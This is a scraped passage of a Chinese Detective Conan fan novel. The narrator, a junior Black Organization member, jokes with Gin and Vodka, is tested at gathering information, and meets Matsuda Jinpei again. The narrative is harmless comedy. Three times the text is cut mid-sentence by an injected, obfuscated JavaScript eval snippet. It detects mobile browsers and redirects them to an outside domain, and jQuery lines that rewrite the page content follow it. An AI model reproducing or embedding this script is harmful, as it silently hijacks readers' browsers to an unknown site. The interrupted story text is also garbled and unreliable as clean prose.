比如说,打女孩子巴掌那种侮辱人格的行为,我是不会舔的。
不过这也不影响我享受这个姿势,毕竟其中的香香甜甜只有我自己知道。
我是享受了,琴酒是无语了。
感觉到他的不爽,我都做好会被琴酒扔出去的心理准备,并且盘算好到时候怎么调整角度让伏特加充当我的肉垫了,没想到琴酒居然没按套路出牌。
他的长臂一伸,勾住了我的脖子,薄唇落在我的耳畔,给我一种我敢乱动就耳朵不保的危险感。
“我是不是太放纵你了?”
我下意识缩起脖子,下巴不小心靠到了琴酒的手臂上,触碰到光滑的衬衫面料,不合时宜地想起这衣服好像是我前几天打着过年要买新衣的名义刷琴酒的卡给我买包时顺便给琴酒买的配货。
“……你又在胡思乱想什么?”
根本不敢承认居然敢把配货给尊贵的琴酒穿,我磕磕巴巴地说:“大哥你这衣服真好看,太配你了。”
闻言,伏特加也点点头:“我也感觉很适合大哥,英子的眼光很好。”
我一愣:“伏特加你怎么还在?”
22.第二十二章
55.
不好意思,背靠琴酒的胸膛实在是太爽了,一时之间都忘了客厅里还有第三个人了。
不对,我不好意思什么?
退一万步讲,难道伏特加就没有错吗?谁让他存在感那么低,出声之前都感觉不到还有个人呢?
还有,谁让他这个时候突然出声的?他应该有眼色地悄悄离开,而不是发出声音……
不要提醒琴酒这件衣服是我挑的啊救救了!!!
琴酒倒不会因为这个弄死我,但是他很有可能撤回他的卡。这种事情,光是想想,就很肉痛,肉痛到无法呼吸的那种。
从没觉得伏特加还是个呆呆傻傻的人设,他居然更是一愣,反问我:“不是你用眼神暗示我要是大哥扔你的话,拉你一把吗?”
琴酒嗤笑一声:“我什么时候说过要扔她?”
好好好,话题转移了,我大喜,疯狂点头应和:“就是就是,琴酒大哥那么好,怎么可能扔我?他舍不得——”
琴酒顿时一脸嫌弃地把我从他怀里拎出来,精准扔向伏特加的方向:“哦,那我还是扔吧。”
我一脸蒙圈地被眼疾手快的伏特加拉住胳膊,免于膝盖着地的狼狈。拉住我的伏特加还得意地哼了一声:“我就说我很有用吧?”
我恨恨地借着伏特加的手站好,因为太生气了,怒气和丢脸冲昏了我的脑袋,搞得我都有胆子站稳之后去瞪琴酒了。
那太坏了,准备拿眼睛去瞪.jpg
不过等我一看清琴酒的样子,我就又不敢了,倒不是大哥的杀气唤回了我的理智,主要是……
无情把我扔出去的琴酒银色的长发披散在宽阔的肩头,因为刚才扔我的动作,有几缕发丝滑落在黑色衬衫的丝绸面料上。衬衫的丝绸面料很好,以至于在窗外隔着窗纱而照进来的阳光的照射下,还泛着流动一样的光泽,就如同沉静幽暗的深潭。
我的目光不受控制地在丝绸这种不会隐藏的忠诚面料勾勒出的精悍的身形线条逡巡,伟岸挺括的胸膛,紧实硬朗的腰线,以及随意搭在沙发上的手臂所展现的流畅肌肉轮廓。
琴酒看着我的目光乍一看没有波动,依旧是那种深潭般的平静,有点像他身上的衣服,只是似乎带着一丝不易察觉的兴味。
注意到我与他对视后下意识慌张颤动的睫毛,他长眸轻轻一眯,微微歪了下头。银色发丝随着动作又滑落几许。按理说,换个人做出这种动作,会觉得自然又放松,还有可能怪可爱的。但是放在琴酒身上,配合着他冷硬的侧脸线条……非要说放松,也只能说是有几分危险的优雅,怪可爱的?怪让人可爱害怕的才对。
尤其是在他的唇角也跟着,极其缓慢地向上勾起了一个微乎其微的弧度的情况下。
几乎是一眼,我就知道他的笑是那种对掌控全局的自得,和带着点恶劣的调笑。
正常情况下,面对这种情况,有骨气的人应该更加生气,并且抗议什么“不要看不起我”blablabla。
那不是我,我没骨气。只是比起没骨气,现如今的我,看到琴酒穿配货衬衫都这么危险又迷人,我就只有一个想法:
果然琴酒这么帅,就该是天生的衣架子。
哦,错了,划掉。
我心里最大的念头就是——
绝对!不能!让琴酒知道!他的衣服!是我的配货!!!
眼神重点是衣服,没有跟以前一样自夸买衣服眼光好的我选择了对这衣服闭口不谈,撅起嘴抱怨,转移话题:“大哥你怎么能新年第一天就扔我呢?”
“你不也是新年第一天就气我?”
“诶,那大哥你可有福了!新年第一天就被我气到了,之后的日子都要气气……元气满满的啊!”恬不知耻地厚脸皮发言之后,趁着琴酒这个时候不能再把我飞快拎起来,在琴酒有站起来的动作之前,我选择跑回房间,还不忘在逃跑路上扔下话让他别来开我的门。
“我去换衣服,我们一会儿一起出门玩吧!”
56.
我错了,我真的不应该主动提出要和琴酒还有伏特加他们出门玩。
期待的打雪仗,没有,伏特加说对了,雪确实太小,停得还早,根本不够打雪仗。
期待的逛街就更没有了。
取而代之的,是——
琴酒开始正式带着我做任务了。
对此,伏特加得意洋洋地说:“现在英子也是新年第一天就做任务了。”
我闭了闭眼:“……”
伏特加继续说:“太好了,接下来一年英子都能和我们一起做任务了。”
我面无表情:“呸呸呸。”
坐在副驾驶的琴酒听到如此不雅的声音,立刻拧着眉转头看我。
那个脸臭得:“你这是什么声音。”
我的嘴巴一下子就抿起来了,舌头在口腔里打了个卷,低下头,没忍住,讪讪地吐了吐舌头。
救命啊,琴酒现在这个样子,跟会斥责女儿不良习惯的老父亲有什么区别。
我真牛逼,琴酒也能让我爹塑哈。
实际上,爹塑只是我的误解,琴酒还是那个冷酷无情的家伙。昨日重现了,他又让伏特加停下车,然后让我下车去套话。
我试图挣扎:“不好吧?万一他有枪怎么办?万一他赤手空拳就要揍我怎么办?万一他不理我怎么办?”
对不起了老哥,或许你可能是个好人,但是你的光头凶狠外表先借我造一下谣。
对此,琴酒薄唇轻启,吐出了冰冷的两个字:“废物。”
我知道琴酒这个嘲讽,是在嘲讽我在黑衣组织待了这么久也体术极差,不会枪法,没什么自保本领,以至于还会担心危险。毕竟,怎么会有黑衣组织的成员害怕执行任务的时候跟人说话呢?应该是对方害怕才对。
我充耳不闻,自顾自地表白:“大哥,昨天你说你想养小丑鱼,我掐指一算,就知道你一定在暗示我,毕竟在你心里,我既是小丑,也是鱼。你就忍心让你的小丑鱼去冒险吗?”
琴酒冷哼一声:“我忍心。”
我马上西子捧心:“哦,不——”
“别装,快点下去。”在我努力眨眼睛的攻势下,琴酒无奈地翻了个白眼,“你在怀疑我?”
“就是嘛,英子你别怕。要是那个人敢对你下手,肯定是他还没碰到你,就被琴酒大哥开枪打死了。”伏特加指了指琴酒身旁的狙击枪,一整个琴酒全肯定。
琴酒满意地看了眼伏特加。
给我看得拳头痒了。
不情不愿地,我还是下了车,主要是现在的情况真的有点似曾相识,昨日重现。
并不是一睡觉就忘了琴酒说过的话,我深吸了一口气,踏上了征程。
57.
在车里靠窃听器听了全程的琴酒很懂得我的尿性,在我打开车门坐回去之后,就又夸了我一句:“做的不错。”
“不过,呃,大哥,我不太懂。”我困惑地蹙起了眉心,“你听到的那些,真的有用吗?我感觉都是废话诶,真的对组织有用?”
琴酒语气平静:“很多时候我都在想,你是真的笨,还是在装不知道。”
我的眼睛控制不住的微微一放大。
背对着我的琴酒紧接着说:“算了,想多了,你是真的笨。”
我顿时露出死鱼眼:“哇,大哥你怎么能这么说我?我很聪明的好不好?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16059184|178059||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
咳咳,let me自我介绍一下,从小就会独立呼吸,一天至少可以吃三顿,下雨天还知道往屋里跑,更不会随便捡地上东西吃,还会玩智能手机,脾气超好,无暴力倾向,未来可期。怎么样?是不是很聪明?希望琴酒大哥您下次择偶可以优先选择我。”
空气似乎有点不对,我的鼻翼敏锐地动了动,紧急撤回:“哦,后面那句不重要,重要的是我很聪明。”
凝滞的气氛,最终被琴酒的一声冷哼打破。
“开车。”
可恶,怎么感觉被伏特加比下去了?
不行,我不能输!
58.
琴酒今天应该是在测试我的亲和力和直觉能够套话到什么程度,搜集多少信息。所以他一个下午就让我问了十个人,其中有男有女有老有少。不过琴酒也不是会浪费资源的人,他并非随机挑人,他让我去问的每一个人,其实仔细想想,聊天中间聊出来的古怪之处都疑似和黑衣组织有关系。
我的表现琴酒很满意,为此,他还专门带我和伏特加一起去吃了顿大餐。
很贵的那种会要求着装的高级餐厅,不过估计也是黑衣组织的产业,因为我在贝尔摩德的社交软件上看到过她来这家餐厅吃饭时拍的照片。
我们的位置在落地窗边,用餐的时候就能差不多俯瞰整个东京。新年第一天的东京似乎更加繁华,只是,我无暇去感慨这些。
侍应生一把我们引到位置,我就抢了侍应生的活,在侍应生的手伸出来的时候就已经抢到了椅背。我拉开椅背,手臂带着手腕一转,在空中行了个礼,恭恭敬敬地请琴酒坐下。
琴酒长眉一挑,略显古怪地扫了我一眼。
我认真地回看他,脸上的笑容更大还更狗腿:“大哥,请坐。”
被我疯狂示意的琴酒到底还是点了点头。
我眼睛都要笑弯了,还踮起脚,想要帮琴酒脱衣服。
琴酒脱下风衣的动作一顿,无奈地叹了口气,委屈了他的大高个,配合着我的动作,让我帮忙脱下了黑风衣。
把风衣交给被抢了挪椅子活儿的侍应生,摆手让他挂起来,我又咬了下牙,发力把琴酒的椅子归正。
正式用餐之前,我差不多是把侍应生的活儿都抢了,餐前酒也是我屁颠屁颠从椅子上起来,把酒杯从侍应生手上的托盘上拿下来,呈到琴酒手边的。
等主菜开始上了,我才稳当当地坐下,不再让侍应生露出一副工作不保的惊愕表情,笑嘻嘻地向琴酒举杯:“大哥,我敬你!”
琴酒摇晃着酒杯,眸光闪烁,才将嘴唇轻轻贴在了酒杯上:“说吧,有什么事。”
“我能有什么事啊?嘿嘿,不过我还确实有事。”我笑了两声,挠着后脑勺,“呐,大哥,我今天表现不错吧?”
琴酒不可置否地“嗯”了一声。
我唇边地笑意更深:“那我是不是很棒。”
琴酒本不想回答,但我的眼睛真的很亮,所以他微微颔首。
我得寸进尺,图穷匕见,开始拉踩:“那我是不是比伏特加更细心,更孝……更体贴?”
疑惑地旁观了所有的伏特加:“啊?”
琴酒一瞬间的表情很复杂,如果非要翻译的话,按我的理解,就是“我就知道”。
我夹起嗓子:“是不是嘛?”
琴酒面无表情地抖了抖身上的鸡皮疙瘩。
我加大马力:“大哥?”
琴酒低声,估计也是怕被我恶心死:“算是吧。”
伏特加:“啊???”
得逞的我骄傲地挺起胸膛,高贵冷艳地睨了一眼伏特加,嘴角一翘:“抱歉了,伏特加,世子之争,向来如此。”
23.第二十三章
59.
伏特加其实没听懂,但是他又不是傻子,自然听得出来我在嘲讽他。他从喉咙里发出“嗯?”的声音,看向琴酒:“大哥。”
琴酒没说话。
应该是看在我们现在在外面,餐厅的人还不少的份上,掏出伯.莱.塔什么的会造成大混乱……好吧,这是我的恶意揣测,琴酒才不是只会掏伯.莱.塔的刻板印象,他只是单纯人比较好,比较能容忍我和伏特加。
哦,这么一说,琴酒可能比较适合养比格?一款情绪很稳定的忍人。
“诶,大哥,你别生气啊。”我努力咽下去嘴里的牛排,假惺惺地说,“大过年的,可不能打孩子。有什么不满意的,可以明天再揍伏特加。”
伏特加不满:“英子我今天没惹你吧?”
“不,你惹了。”我哼了一声,“你已经惹了我一天了,我不能原谅你!”
伏特加就应该庆幸现在工藤新一还是小学生,不是高中生更不是江户川柯南,不然我这句话一出,下一个画面就应该是伏特加仰面而倒、嘴里流血、一动不动,然后再下一秒就是周围是一片漆黑,只有一道光打在掩面而泣说着“我不能原谅他”的跪在地上的我身上。
他就该偷着乐。
是的,过了一年,我成长了,我现在毫不掩饰要占据琴酒麾下第一小妹的位置了,哪怕伏特加是男的,他只想当琴酒的第一小弟也不可以。
第一小妹的顺位必须要在第一小弟前面。
开门英子啊,不能输给雨啊,更不能输给第一小弟啊!
琴酒默不作声地放下手上的叉子,叉子尖端触碰到盘子,清脆的声音明明在餐厅的环境里应该是微弱得不行,但是我和伏特加还是同时一激灵。
然后兄友妹恭地互相敬酒。
——我喝酒,伏特加喝水,因为他要开车回来。
“这样才对嘛。”眼睛直勾勾地盯着,直到某个壮壮的家伙被我的眼神刺得不得不放下酒杯,转而拿起水杯跟我碰杯,我才满意地点点头,“俗话说得好,喝酒不开车,开车不喝酒,司机一杯酒,亲人两行泪。伏特加,你就是最棒的小汪……大男人!”
琴酒:“……”
说起来,琴酒的情绪今天简直稳定得不像话,搞得我都有点不适应了。
60.
吃饱喝足就到了结账的时候,尽管之前说过,琴酒的卡在我这里,但是我也不会去结账的。那可是我缠着琴酒抱怨新搬家有好多东西要陆陆续续买,琴酒受不了我太吵,才丢给我让我拿去自己买东西不要烦他的卡,是我靠自己本事要到的卡,有正当用途,是拿来买家里我要用的东西的卡,可不能混淆用途,私卡公用(?)。
再说了,琴酒是什么人物?他可能只有一张卡吗?不要看不起我尊贵的琴酒大哥好不好?
再再说了,琴酒是有点大男子主义在身上的,具体表现在,这么久了他就没让我成功花过我自己的一分钱!
诶,这么说起来,比起大男子主义,好像真的更像我的长辈了。毕竟上辈子的时候,我家就有祖训,长辈不能让小辈花钱,就算是同辈人里面年长一点的也不能让小一点的花钱。
呜呜呜伟大的琴酒大哥,对小妹如我都这么好,我都不敢想要是他谈……
想到这里,我连忙紧急刹车。
绝对是最近日子过美了,又没有危机意识了,有些事情口花花可以,想是不能想的,小心小命难保啊喂!
不对,不对,我只是差点随便一想琴酒要是谈恋爱的话肯定不会和女方AA,又没想琴酒这种孤狼真的能谈恋爱,更没胆大包天到幻想和我谈恋爱,我怕什么?
“蠢货,又发呆。”琴酒从我怀里拿走风衣外套,还揉了一把我脑袋让我回神,揉完甩手就走了,生怕我看不出来他的嫌弃。
徒留我在原地懊悔。
懊悔琴酒拿走风衣的时候明明不小心碰了我的手,我怎么就没顺手抓住蹭几下,吃几口豆腐,就那么给他随便放走了呢?
难得琴酒今天脾气这么好,都是揉我脑袋不是敲我脑袋,就算被我占便宜了也肯定不会教训我。
都怪我走神,亏大发了!
我在原地气得鼓了鼓,变成小河豚。
伏特加从我旁边经过,疑惑地问:“英子你怎么了?还不走吗?”
琴酒也站在我前面几步的位置,转头看向没跟上的我。估计是今天忍我,不对,是忍伏特加忍太多了,耐心到底还是要告罄了,锃亮的皮鞋尖端都在地上点了点。
小河豚一秒泄气,绽放出阳光明媚的笑,拎起裙子就小跑到琴酒身边,仰起头转了个圈:“大哥我来咯~”
琴酒眸光平静地低头扫了我一眼,继续往前走。
然后直接就出门了?
都、都不用结账的吗?
奇了怪了,琴酒明明一直都在我身边,我也没见他出去买单,他也更没有当场给侍应生递卡,他是什么时候结的账?
难道,我们三个,新年第一天就吃上霸王餐了?那这岂不是说明,未来一年,我们三个都能白嫖?
好耶!
……桥豆麻袋,不好耶。
作为黑衣组织最后的良心,我摸着我为数不多的素质,正义发言:“呐,大哥,我们好像没给钱。”
闻言,琴酒回头瞅了我一眼。
是我最熟悉的那种看狗,不是,看傻子,不是,不管了,反正就是我最熟悉的那种眼神。
我一头雾水地摸了摸后脑勺,难道琴酒是觉得我居然说出这种有道德的话,和黑衣组织格格不入,但是懒得骂我了?
看出来了我的疑惑,伏特加挺直了腰板,一副“让我来教教你”的样子:“英子,这是组织的店。”
哦,我一开始的想法还真是对的。我就知道贝尔摩德这种大明星,照片里出镜的每一样东西都该标好了价格。要不是为了给组织产业打广告,堂堂好莱坞大明星不至于给区区日本东京一家新开的餐厅拍个九宫格,还专门露出店名logo。
但是,组织的产业就可以不给钱了吗?我还以为他们只是来我家酒吧不给钱呢,没想到是所有产业都可以免费啊,既然这样的话……
我摸了摸下巴,眼睛亮了起来。
看来我需要一份完整的黑衣组织在东京的实体店名单了,他们要是嫌弃我是外围成员没有代号不让我白嫖,就别怪我扛着琴酒的大旗骗吃骗喝,不对,连吃带拿咯?
“桀桀桀~”幻想到又停下脚步的我不由得笑出邪恶的声音。
伏特加抖了抖身体,快步走到琴酒旁边,担忧地回头看了眼低着头莫名其妙笑出声,还似乎全身都散发着诡异气息的我,压低声音问:“大哥,英子是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065783|178059||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不是跟我争宠争宠出心理问题了?”
琴酒深吸一口气,到底还是没忍住,停下脚步,咬着牙问:“你也成蠢货了?”
被骂的伏特加老实地低下头:“对不起,大哥!”
琴酒看了眼身后的我,又看了眼身旁的伏特加,揉了揉额角:“早晚被你们这群蠢货气死。”
61.
12月31日那天,是琴酒对我能力的初测试,他想要知道我的能力能不能用在为黑衣组织探听情报上。
1月1日那天,是琴酒对我能力的第二次测试,他想要知道我能不能从不同类型的人的嘴里谈听出情报。
然后日子到了1月2日,我给自己放了假,琴酒没同意,他强制把我拎了出来,进行第三次测试。
他就让我在随机挑选的商场里人流量最大的咖啡厅里坐着,想要看看我光是坐在那里,能不能“引诱”到人过来搭讪,从而探听到情报。
因为以后也可能遇到,黑衣组织需要情报,但是不能和年末那天一样精准定位到知情的目标人士的情况。合格的情报人员就该能用不同的方式探听到情报,在行动目标附近的场所调查也是行动的一项。
“这样也行?我还能引诱到人?我?引诱?”我难以置信,眉毛都成八字了,指着自己,“大哥,你对我是不是太信任了?过分滤镜要不得啊大哥酱!”
“闭嘴,开门。”琴酒一语双关,“下车。”
我能怎么样?我只能乖巧下车,但作为报复,我又刷琴酒的卡……
“就这个菜单,给我上一本。”我用指尖敲了敲服务生递过来的菜单,在服务生诧异的目光下挑了挑眉,微微一笑,“怎么,没见过富婆吗?”
还记得以前经常看到电视剧里有角色装逼的时候跟服务员或者店小二说,就这个菜单,给我炒一本。好好好,现在这个逼,也是轮到我装了,感谢琴酒!
西方不能没有耶路撒冷,正如开门英子不能没有琴酒……的卡。
我觉得应该是一个人面对一桌子的甜点和咖啡实在是太扎眼,总不能真的和琴酒所说的一样,我真成吸铁石了?
不光耳朵听到了旁边桌还有路过的人讨论的八卦,光是坐在那里,都有人好奇过来跟我说几句话……好,我现在已经知道前天的灭门惨案的八个版本了。
送走了说出第九个版本,但是和我所知道的真相相差无几的,自称是死者同事的男人离开,我垂眸,控制着自己,不要伸手去碰锁骨处伪装成项链的窃听器。
“唔,这位小姐?”
听到声音,我下意识抬头。
出声的男人并没有和上一个人一样坐到我对面,而是站在我面前。
视线最先捕捉到的,是两条笔挺得近乎锋利的黑色西装裤线,越过劲窄的腰线,再往上,是黑色西装外套,敞开的衣襟露出里面熨帖的白色衬衫领口,领口扣子随意地解开了一两颗,隐约能看到一点锁骨。
视线的重点是线条清晰的下颌,比下颌更让人印象深刻的俊朗五官,尤其是高挺的鼻梁上架着的那副标志性的墨镜。
我呆住了。
松田阵平骨节分明的手捏住墨镜镜腿,将墨镜下拉,露出深邃的靛色双眼。
复杂中隐隐带了几分探究和惊讶的目光落在我身上,他露出一个恰到好处的笑:“我们好像在哪里见过?”
24.第二十四章
62.
“呃,我们好像在哪里见过,你记得吗?”我不由得下意识开始吟唱,“记得那是一个冬天,漫天雪花?”
因为现在是冬天,我还很聪明地选择了歌里冬天的唱段。我天呢,谁还分得清我和天才?
松田阵平好明显地一怔,连我都能看出来了。
我挠挠头:“我接错歌词了?那应该唱什么?”
也对,这是中文歌,只是我强行翻译成日语唱出来了。松田阵平作为一个土生土长的日本人,怎么想也不会听过这首歌吧?
但是可惜,对于日语歌,我也只会唱我女儿的歌。我们妈粉是这样的,比较专一,和伏特加那种喜欢女儿还喜欢冲野洋子的家伙不一样。这就是当妈和当爹的区别,妈妈的女儿可以拥有妈妈全部的爱,爹的女儿还要接受爹的心里还有女人。
哇,金句,回去之后就要在粉丝社区里把这句话说给我女儿听!
我满意地翘起嘴角,在心里给自己比了个大拇指。
Get不到一点儿的松田阵平还在茫然中:“什么歌词?”
这次换我茫然了:“你刚才说的话不是在和我玩接歌游戏吗?总不能你是真的在哪里见过我吧?”
拜托,这可是松田阵平诶,就是那个我爆.炸案发生前和爆.炸案发生后跑了警视厅门口无数次都没偶遇成功的松田阵平诶。
我都没遇到过他,他怎么可能在哪里见过我?
总不能是他在梦里见过我吧?我拿的又不是什么玛丽苏白月光剧本,还能入纸片人帅哥的梦。
Emmmm要是非要算起来,倒是有一种可能是松田阵平单方面见过我,那就是——
作为爆.炸物处理班拆弹警察的松田阵平,尽管幼驯染萩原研二还活着,但还是为了调查没有被抓住的炸.弹犯而申请,并提前成为了搜查一课的刑警。而恰好,松田阵平在搜查一课,看到了我的照片?
我心里有数,我到底是黑衣组织的成员,就算没真的干过杀人放火的坏事,但是我一直都怀疑polestar酒吧被警察盯上了,所以一下子心虚地想到日本警方有了我的照片,还有可能在调查我,简直是顺理成章。
所以条子这是在对我实行什么美人计吗?看来他们还真的调查我了,知道我对帅哥没什么抵抗力,还专门派松田阵平来搭讪我?用的还是这种话术,一看就没有找萩原研二取过经。
也是,搜查一课一群大老爷们儿,这时候佐藤美和子也还没来?那他们简单粗暴地以为派个帅哥警察来就能拿捏我,有点可笑,但是也不是不能理解。
只是……我的脸色微微一变。
如果真的是为了接近我,甚至是抓捕我,那松田阵平会出现在这里,肯定不是偶遇。但是,警察又怎么会知道我在这里?
除非他们跟踪了我。
但是,我可是和琴酒住在一起的,而且这次过来,也是琴酒亲自开车带我过来的。琴酒能不发现有人在跟踪我们吗?琴酒能不有所行动?
如果一切都是真的,这又何尝不是一种螳螂捕蝉、麻雀在后,松田抓英子、琴酒在身后?
西八shake it!松甜甜你危险了啊!
苍天啊,可不要萩原研二好不容易活下来了,松田阵平的忌日又要提前了。
我绝对不能接受松田阵平提前殉职,还是死在琴酒手里的!我!绝对!不能接受!
我强忍着脸色剧变,也强忍着转头去看不远处的黑色保时捷365A的冲动。我怕我看过去,会让琴酒暴露。我也更怕我看过去,会一眼看到车窗缝隙中伸出的黑洞洞的枪口。
“似乎有些误会。”心神被拉回,我抬起僵硬的脖颈,看到松田阵平露出了一个怎么看都不像是要来抓我的笑,“我的意思是,我有可能真的在哪里见过你。”
我疑惑地轻轻眯了一下杏眼:“啊咧?”
“我对你的眼睛印象很深,所以想过来看看,是不是我之前遇到过的那个女孩子。”说着,松田阵平从口袋里掏出了……
吓我一跳,是手机。
我讪讪地放下抱住自己的双手,尴尬地说:“哈哈,有点冷,店里暖气开得不够,哈哈哈。”
松田阵平倒没怀疑什么,他只是操纵着修长灵活的手指,在手机上飞快点了几下,将手机屏幕摆在我面前,试探着问:“或许,这是你的东西?”
视线聚焦在手机屏幕上,屏幕上是一张掌心托着吊坠的照片。
掌心的纹路很漂亮,如果是平时,我一定会先猜测一下这么好看的手是松田阵平的还是萩原研二的。但如今我的全部注意力都在那个吊坠上。
是很眼熟的,白水晶。
有点像我丢的那个。
就是我的网友魔女小姐送给我的据说可以保平安的魔法吊坠,我原本还想着实在不行就借助玄学把它送给萩原研二图个吉利、图个心安什么的。但是11月7日那天我没有等到萩原研二出来就被琴酒派去给科恩送文件。
发现吊坠不见了的时候我都已经回酒吧上班了,我还以为是不知道丢在哪里了,毕竟我一天跑了那么多地方,我还本来就很丢三落四。
在通过求证得知萩原研二还活着的时候,我也有点迷信地以为要么是我比较厉害,让那两个扶我的好心警察转告成功,萩原研二也信了;要么就是魔法水晶献祭了自己,换萩原研二还有其他拆弹警察活下来了;亦或者是二者都有。
等等,好心警察?
我惊愕地抬眼去看松田阵平,磕磕巴巴地说:“是、是你?是、是你们?”
——“告诉hagi穿好排爆服和小心哑炮!”
——“诶?你怎么——”
——“小姐,等等!你的东西——”
所以吊坠是那时候丢的?难道,我撞到的、扶了我起来的好心警察,就是松田阵平和萩原研二?
这么误打误撞?我居然都不知道?
我就说……我就说手感怎么那么好,原来是他们!!!
松田阵平了然一笑,轻轻挑起眉梢,整个人浑身都萦绕着带了几分慵懒和自信的迷人氛围感:“果然是你。”
“缘分啊!”我想要站起来,又按耐着坐下,笑出唇畔的梨涡,“你好,我叫开门英子!”
“在下松田阵平。”手机一响,松田阵平眼底闪了闪,看过信息后又将手机递到我面前,这次调到的是通话页面,“不如我们交换一下联系方式,有机会把你的东西物归原主。”
我雀跃地点头,额前的刘海都跟着晃悠了几下,输入了自己的电话号码。
“那,我先走了。”松田阵平拨通电话,听到我的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071193|178059||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手机响了之后才挂断,挥了挥手机跟我告别,帅得我眼睛都要花了。
“哦,对了。”松田阵平跟想起了什么似的又忽然停下脚步,露出一个真心的笑,“差点忘了说,谢谢你。”
我呆住。
63.
“英子,那个人是谁啊?他为什么要谢谢你啊?”我才上车,伏特加就迫不及待地问我。
我把打包回来的整本菜单的甜品和咖啡放好,仗着伏特加什么都不知道,半真半假地说:“当然是因为我做好事不留名,之前帮过他(的朋友)一个大忙(保下一命),他感谢我咯。”
只能说幸好松田阵平没穿制服,理论上说琴酒和伏特加对他应该也没什么印象,不然我还就真的不好糊弄过去。
“那物归原主?”
“害,帮忙的时候不小心把一个首饰弄丢了被他捡起来了。”我一摆手,毫不在意的样子,“这些东西是先都放我们家的冰箱里你到时候来挑,还是你先挑,挑好了之后直接带回去?”
看我没当回事,知道我对帅哥总会献殷勤的伏特加也没当回事:“英子你看看,你不怎么想吃的交给我就可以。”
“那我先挑咯?”心里暗自松了口气,没敢看琴酒,我自顾自地低着头开始研究打包回来的食物,认认真真地分好,并且在电梯里和伏特加完成了交接仪式。
回到家里,我也跟没事人一样,哼着歌把食物放进冰箱,还在关门前问站在我旁边看我忙活得热火朝天的琴酒;“大哥,你现在饿不饿?要不要吃点当下午茶?”
琴酒垂眸看着我,忽而轻笑一声:“很开心?”
我迷茫地一歪头:“我不该开心吗?”
琴酒定定地看着我,抬起手,又缓缓放下:“你要记得你的身份。”
身份?什么身份?黑衣组织的人,所以不能和帅哥警察有来往吗?那将来威士忌三人组来了之后,我该不该来往啊?
再说了,琴酒又不知道松田阵平是警察。他应该单纯地就是不想让我和不明身份的帅哥接触,怕我中了美人计。这未免也太小看我了!
不过,好像确实,对于松田阵平来说,不被琴酒注意才是最好的。
嗯,我决定要跟松田阵平偷偷地下往来,好满足我的美好愿望,我指和帅哥纸片人相处,加上提前和警察搞好关系以方便未来跑路。
不过面上还是不能虚的,要是我虚了,没准琴酒马上就开始让人查松田阵平这家伙到底怎么回事,让我敢不听他话了。
我拧了拧眉,又服软又抱怨地说:“好嘛,我现在就把他的联系方式删掉。哼,大哥你今天怎么怪怪的?困了累了,愚妹要去眠一眠了。”
说完,我转身,转身瞬间感受到不对劲的触碰,马上站住,双手捂着臀部,难以置信地张圆了嘴巴:“大哥,你干嘛鸭!!!”
琴酒看了眼自己垂在身侧的手,语气略带嘲讽,跟搞不懂为什么我反应这么大一样:
“不是你自己撞上来的?”
我更加难以置信:“难道这怪我吗?”
琴酒抬了抬眼皮,用面无表情回答了我,越过我回了房间。
看着他的背影,我茫然地揉了揉我的屁股。
这、这我真不是故意占琴酒便宜的啊!
桥豆麻袋,是我占便宜吧?
25.第二十五章
64.
新的一年,我其实给自己放了七天假,我将此称为过年七天乐。
——其他人将此称之为我又找借口休息。
但无所谓,我一点也不在乎他们的想法,毕竟休息是我自己的,爽也是我自己在爽,其他人说就让他们说去吧。我说难听一点,再过一个月,说我的人还能不能活着都两说。
害,我们组织这么危险的地方,都不知道哪面是最后一面,其他人背后怎么议论,who care,加个s。
再说了,我休了不也是如休?谁家好人休息还要被琴酒拉去上班?哦,我是坏人啊,那没事了。
总之,今天才是第二天,按理说,像我这么不爱工作的人,还才被琴酒带回来,怎么样都不会去酒吧的。
但是我今天还是去了,不为别的,就因为……
点单的时候一时爽,带回家后火葬场啊!
就算我把我不爱吃的都分给了伏特加,可是剩下的食物还是很壮观,足足填满了家里的冰箱。要知道,这可是琴酒的冰箱。
这种东西保质期都很短,琴酒又对甜品没兴趣,只靠我一个人,我是真的吃不完。
再加上因为今天发生的事情都太过玄幻,也因为我喝了好几杯咖啡,说要去眠一眠,也没眠成功。
我在床上翻来覆去烙了好久的大饼,最后还是决定出门。
没敢打扰紧闭房门的大哥,我把甜点们从冰箱里拿出来,装好袋,摇了楼下的伏特加陪我一起去polestar酒吧,给大家送温暖。
避免浪费嘛,就当是琴酒请大家吃夜宵吧,反正也是刷的琴酒的卡。
也许其他店里还管理严格,或者说比较有职业操守,店员不会在客人面前吃东西。我们酒吧就不一样了,无人真的在意那些客人,大家一听说是专门请大家吃的宵夜,还是琴酒买的,就全都一哄而上。
